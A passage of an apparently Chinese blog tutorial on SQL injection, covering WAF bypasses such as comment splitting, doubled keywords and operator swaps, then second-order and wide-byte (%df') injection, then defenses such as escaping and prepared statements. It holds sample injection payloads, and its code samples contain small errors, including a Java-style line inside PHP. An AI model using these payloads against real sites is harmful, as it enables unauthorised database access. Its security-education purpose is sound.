3、利用注释符

  • 适用于WAF只过滤一次敏感字的情况,比如WAF只过滤一次union和select,则可以用/**/绕过:?id=1/union/union /select/select 1,2,3

4、重写

  • 适用于WAF只过滤一次敏感字的情况,比如WAF只过滤一次union,则可以写出类似ununionion这样的:?id=1 ununionion select 1,2,3

5、比较操作符替换

  • WAF过滤等号(=),可以用>和<来判断,比如要判断某个值是不是5,则可以判断是不是大于4,且小于6
  • WAF将=、>、<全部过滤,则可以利用like来绕过,如:?id=1’ or … like 1
  • WAF将=、>、<全部过滤,也可以用strcmp()函数绕过

6、同功能函数替换

  • 适用于某一函数被过滤的情况,如substring()被WAF过滤,可以用同功能的mid(),substr()等函数来替换,都是用来取字符串的某一位字符

7、二次注入
简介: 指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
补充: mysql_escape_string()函数,该函数和mysql_real_escape_string一样可以转移特殊字符,但不同的是经过mysql_escape_string处理的参数在存入数据库时会被还原成原来的数据
场景: 设想在登录页面username和password都经过了mysql_real_escape_string函数的转义,无法造成SQL注入。但注册页面使用的是mysql_escape_string函数,那么我们注册一个名为admin’#的用户,密码设为123456,登录该用户后,在修改密码页面修改密码为666666,这时admin’#的密码没有被修改,反而是admin的密码被修改了。
原理: 后端数据库执行的命令为,UPDATE users SET PASSWORD=‘666666’ where username=‘admin’#’ and password=‘123456’,等价于,UPDATE users SET PASSWORD=‘666666’ where username=‘admin’

8、宽字节注入(%df’)
前言:

  • 当某字符的大小为一个字节时,称其字符为窄字节
  • 当某字符的大小为两个字节时,称其字符为宽字节
  • 所有英文默认占一个字节,汉字占两个字节
  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS

原理: MySQL数据库编码与PHP编码不同导致,如MySQL数据库使用GBK编码而PHP编码为UTF8。MySQL认为两个字符是一个汉字(前一个字符ascii码要大于128,如%df),而当我们输入%df和单引号(%df’)时,MySQL会调用转义函数如addslashes,将单引号转义(添加 \ )后整个为 %df’ ,其中 \ 的十六进制是%5c,即 %df%5c’ ,而MySQL的GBK编码会认为%df%5c是一个汉字(運),而此时单引号仍然存在,可以实现闭合,从而造成SQL注入。
在这里插入图片描述
参考链接: 渗透测试-SQL注入之宽字节注入

SQL注入防护

1、限制数据类型

  • 比如使用函数 is_numeric() 判断为数字时才执行下一步,这样限制了字符从而也就限制了注入,但针对此函数可以16进制编码绕过

2、正则表达式匹配
比如这段PHP代码

$id=$_POST['id'];
if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) { 
        die('stop hacking!'); 
    } else {
        echo 'good'; 
    }

3、转义函数

  • php自带的magic_quotes_gpc函数,不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义
  • addslashes、mysql_escape_string、mysql_real_escapse_string

4、SQL语句预编译

  • 防御SQL注入的最佳方式就是使用预编译SQL语句,绑定变量
  • 预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构

比如这段PHP代码

String query="select password from users where username='?' ";
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1="Stuttgart";
$val2="DEU";
$val3="Baden";
//execute the statement
$stmt->execute();

即使攻击者插入类似 admin’ or 1=1# 的字符串,预编译会将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行,避免了类似sql语句拼接、闭合等非法操作

  • 18
    点赞
  • 64
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值